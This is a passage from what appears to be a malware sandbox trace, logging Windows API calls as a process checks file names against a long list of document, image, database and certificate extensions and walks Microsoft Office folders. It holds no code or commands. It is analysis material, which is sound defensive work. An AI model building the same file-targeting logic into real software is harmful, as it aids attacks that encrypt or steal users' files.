(lpString=".dbx") returned 4 [0050.356] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".dc3") returned 4 [0050.356] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".dcm") returned 4 [0050.357] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dcr") returned 4 [0050.357] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".der") returned 4 [0050.357] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dib") returned 4 [0050.357] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dic") returned 4 [0050.357] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dif") returned 4 [0050.357] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".divx") returned 5 [0050.357] lstrcmpiW (lpString1=".divx", lpString2="g.xml") returned -1 [0050.357] lstrlenW (lpString=".djvu") returned 5 [0050.357] lstrcmpiW (lpString1=".djvu", lpString2="g.xml") returned -1 [0050.357] lstrlenW (lpString=".dng") returned 4 [0050.357] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".doc") returned 4 [0050.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".docm") returned 5 [0050.357] lstrcmpiW (lpString1=".docm", lpString2="g.xml") returned -1 [0050.357] lstrlenW (lpString=".docx") returned 5 [0050.357] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0050.357] lstrlenW (lpString=".dot") returned 4 [0050.357] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dotm") returned 5 [0050.357] lstrcmpiW (lpString1=".dotm", lpString2="g.xml") returned -1 [0050.357] lstrlenW (lpString=".dotx") returned 5 [0050.357] lstrcmpiW (lpString1=".dotx", lpString2="g.xml") returned -1 [0050.357] lstrlenW (lpString=".dpx") returned 4 [0050.357] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dqy") returned 4 [0050.357] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dsn") returned 4 [0050.357] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0050.357] lstrlenW (lpString=".dt") returned 3 [0050.357] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0050.358] lstrlenW (lpString=".dtd") returned 4 [0050.358] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".dwg") returned 4 [0050.358] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".dwt") returned 4 [0050.358] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".dx") returned 3 [0050.358] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0050.358] lstrlenW (lpString=".dxf") returned 4 [0050.358] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".edml") returned 5 [0050.358] lstrcmpiW (lpString1=".edml", lpString2="g.xml") returned -1 [0050.358] lstrlenW (lpString=".efd") returned 4 [0050.358] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".elf") returned 4 [0050.358] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".emf") returned 4 [0050.358] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".emz") returned 4 [0050.358] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".epf") returned 4 [0050.358] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".eps") returned 4 [0050.358] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0050.358] lstrlenW (lpString=".epsf") returned 5 [0050.358] lstrcmpiW (lpString1=".epsf", lpString2="g.xml") returned -1 [0050.358] lstrlenW (lpString=".epsp") returned 5 [0050.358] lstrcmpiW (lpString1=".epsp", lpString2="g.xml") returned -1 [0050.359] lstrlenW (lpString=".erf") returned 4 [0050.359] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".exr") returned 4 [0050.359] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".f4v") returned 4 [0050.359] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".fido") returned 5 [0050.359] lstrcmpiW (lpString1=".fido", lpString2="g.xml") returned -1 [0050.359] lstrlenW (lpString=".flm") returned 4 [0050.359] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".flv") returned 4 [0050.359] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".frm") returned 4 [0050.359] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".fxg") returned 4 [0050.359] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".geo") returned 4 [0050.359] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".gif") returned 4 [0050.359] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".grs") returned 4 [0050.359] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".gz") returned 3 [0050.359] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0050.359] lstrlenW (lpString=".h") returned 2 [0050.359] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0050.359] lstrlenW (lpString=".hdr") returned 4 [0050.359] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".hpp") returned 4 [0050.359] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".hta") returned 4 [0050.359] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".htc") returned 4 [0050.359] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0050.359] lstrlenW (lpString=".htm") returned 4 [0050.359] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".html") returned 5 [0050.360] lstrcmpiW (lpString1=".html", lpString2="g.xml") returned -1 [0050.360] lstrlenW (lpString=".icb") returned 4 [0050.360] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".ics") returned 4 [0050.360] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".iff") returned 4 [0050.360] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".inc") returned 4 [0050.360] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".indd") returned 5 [0050.360] lstrcmpiW (lpString1=".indd", lpString2="g.xml") returned -1 [0050.360] lstrlenW (lpString=".ini") returned 4 [0050.360] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".iqy") returned 4 [0050.360] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".j2c") returned 4 [0050.360] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".j2k") returned 4 [0050.360] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".java") returned 5 [0050.360] lstrcmpiW (lpString1=".java", lpString2="g.xml") returned -1 [0050.360] lstrlenW (lpString=".jp2") returned 4 [0050.360] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".jpc") returned 4 [0050.360] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".jpe") returned 4 [0050.360] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0050.360] lstrlenW (lpString=".jpeg") returned 5 [0050.360] lstrcmpiW (lpString1=".jpeg", lpString2="g.xml") returned -1 [0050.361] lstrlenW (lpString=".jpf") returned 4 [0050.361] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".jpg") returned 4 [0050.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".jpx") returned 4 [0050.361] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".js") returned 3 [0050.361] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0050.361] lstrlenW (lpString=".jsf") returned 4 [0050.361] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".json") returned 5 [0050.361] lstrcmpiW (lpString1=".json", lpString2="g.xml") returned -1 [0050.361] lstrlenW (lpString=".jsp") returned 4 [0050.361] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".kdc") returned 4 [0050.361] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".kmz") returned 4 [0050.361] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".kwm") returned 4 [0050.361] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".lasso") returned 6 [0050.361] lstrcmpiW (lpString1=".lasso", lpString2="ig.xml") returned -1 [0050.361] lstrlenW (lpString=".lbi") returned 4 [0050.361] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".lgf") returned 4 [0050.361] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".lgp") returned 4 [0050.361] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0050.361] lstrlenW (lpString=".log") returned 4 [0050.362] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".m1v") returned 4 [0050.362] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".m4a") returned 4 [0050.362] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".m4v") returned 4 [0050.362] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".max") returned 4 [0050.362] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".md") returned 3 [0050.362] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0050.362] lstrlenW (lpString=".mda") returned 4 [0050.362] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mdb") returned 4 [0050.362] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mde") returned 4 [0050.362] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mdf") returned 4 [0050.362] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mdw") returned 4 [0050.362] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mef") returned 4 [0050.362] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mft") returned 4 [0050.362] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mfw") returned 4 [0050.362] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mht") returned 4 [0050.362] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0050.362] lstrlenW (lpString=".mhtml") returned 6 [0050.362] lstrcmpiW (lpString1=".mhtml", lpString2="ig.xml") returned -1 [0050.362] lstrlenW (lpString=".mka") returned 4 [0050.362] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mkidx") returned 6 [0050.363] lstrcmpiW (lpString1=".mkidx", lpString2="ig.xml") returned -1 [0050.363] lstrlenW (lpString=".mkv") returned 4 [0050.363] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mos") returned 4 [0050.363] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mov") returned 4 [0050.363] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mp3") returned 4 [0050.363] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mp4") returned 4 [0050.363] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mpeg") returned 5 [0050.363] lstrcmpiW (lpString1=".mpeg", lpString2="g.xml") returned -1 [0050.363] lstrlenW (lpString=".mpg") returned 4 [0050.363] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mpv") returned 4 [0050.363] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mrw") returned 4 [0050.363] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".msg") returned 4 [0050.363] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".mxl") returned 4 [0050.363] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".myd") returned 4 [0050.363] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".myi") returned 4 [0050.363] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".nef") returned 4 [0050.363] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".nrw") returned 4 [0050.363] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".obj") returned 4 [0050.363] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0050.363] lstrlenW (lpString=".odb") returned 4 [0050.363] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".odc") returned 4 [0050.364] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".odm") returned 4 [0050.364] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".odp") returned 4 [0050.364] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".ods") returned 4 [0050.364] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".oft") returned 4 [0050.364] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".one") returned 4 [0050.364] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".onepkg") returned 7 [0050.364] lstrcmpiW (lpString1=".onepkg", lpString2="fig.xml") returned -1 [0050.364] lstrlenW (lpString=".onetoc2") returned 8 [0050.364] lstrcmpiW (lpString1=".onetoc2", lpString2="nfig.xml") returned -1 [0050.364] lstrlenW (lpString=".opt") returned 4 [0050.364] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".oqy") returned 4 [0050.364] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".orf") returned 4 [0050.364] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".p12") returned 4 [0050.364] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".p7b") returned 4 [0050.364] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".p7c") returned 4 [0050.364] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".pam") returned 4 [0050.364] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".pbm") returned 4 [0050.364] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".pct") returned 4 [0050.364] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0050.364] lstrlenW (lpString=".pcx") returned 4 [0050.364] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pdd") returned 4 [0050.365] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pdf") returned 4 [0050.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pdp") returned 4 [0050.365] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pef") returned 4 [0050.365] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pem") returned 4 [0050.365] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pff") returned 4 [0050.365] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pfm") returned 4 [0050.365] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pfx") returned 4 [0050.365] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pgm") returned 4 [0050.365] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".php") returned 4 [0050.365] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".php3") returned 5 [0050.365] lstrcmpiW (lpString1=".php3", lpString2="g.xml") returned -1 [0050.365] lstrlenW (lpString=".php4") returned 5 [0050.365] lstrcmpiW (lpString1=".php4", lpString2="g.xml") returned -1 [0050.365] lstrlenW (lpString=".php5") returned 5 [0050.365] lstrcmpiW (lpString1=".php5", lpString2="g.xml") returned -1 [0050.365] lstrlenW (lpString=".phtml") returned 6 [0050.365] lstrcmpiW (lpString1=".phtml", lpString2="ig.xml") returned -1 [0050.365] lstrlenW (lpString=".pict") returned 5 [0050.365] lstrcmpiW (lpString1=".pict", lpString2="g.xml") returned -1 [0050.365] lstrlenW (lpString=".pl") returned 3 [0050.365] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0050.365] lstrlenW (lpString=".pls") returned 4 [0050.365] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0050.365] lstrlenW (lpString=".pm") returned 3 [0050.365] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0050.366] lstrlenW (lpString=".png") returned 4 [0050.366] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".pnm") returned 4 [0050.366] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".pot") returned 4 [0050.366] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".potm") returned 5 [0050.366] lstrcmpiW (lpString1=".potm", lpString2="g.xml") returned -1 [0050.366] lstrlenW (lpString=".potx") returned 5 [0050.366] lstrcmpiW (lpString1=".potx", lpString2="g.xml") returned -1 [0050.366] lstrlenW (lpString=".ppa") returned 4 [0050.366] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".ppam") returned 5 [0050.366] lstrcmpiW (lpString1=".ppam", lpString2="g.xml") returned -1 [0050.366] lstrlenW (lpString=".ppm") returned 4 [0050.366] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".pps") returned 4 [0050.366] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".ppsm") returned 5 [0050.366] lstrcmpiW (lpString1=".ppsm", lpString2="g.xml") returned -1 [0050.366] lstrlenW (lpString=".ppt") returned 4 [0050.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".pptm") returned 5 [0050.366] lstrcmpiW (lpString1=".pptm", lpString2="g.xml") returned -1 [0050.366] lstrlenW (lpString=".pptx") returned 5 [0050.366] lstrcmpiW (lpString1=".pptx", lpString2="g.xml") returned -1 [0050.366] lstrlenW (lpString=".prn") returned 4 [0050.366] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".ps") returned 3 [0050.366] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0050.366] lstrlenW (lpString=".psb") returned 4 [0050.366] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".psd") returned 4 [0050.366] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0050.366] lstrlenW (lpString=".pst") returned 4 [0050.366] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".ptx") returned 4 [0050.367] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".pub") returned 4 [0050.367] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".pwm") returned 4 [0050.367] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".pxr") returned 4 [0050.367] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".py") returned 3 [0050.367] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0050.367] lstrlenW (lpString=".qt") returned 3 [0050.367] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0050.367] lstrlenW (lpString=".r3d") returned 4 [0050.367] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".raf") returned 4 [0050.367] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".rar") returned 4 [0050.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".raw") returned 4 [0050.367] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".rdf") returned 4 [0050.367] lstrcmpiW (lpString1=".rdf", lpString2=".xml") returned -1 [0050.367] lstrlenW (lpString=".rgbe") returned 5 [0050.367] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.368] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a506e0 | out: hHeap=0x6c0000) returned 1 [0050.368] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0050.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.371] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.372] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0050.374] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.375] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a506e0 | out: hHeap=0x6c0000) returned 1 [0050.375] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0050.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.377] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.377] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0050.380] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.381] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a506e0 | out: hHeap=0x6c0000) returned 1 [0050.381] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, 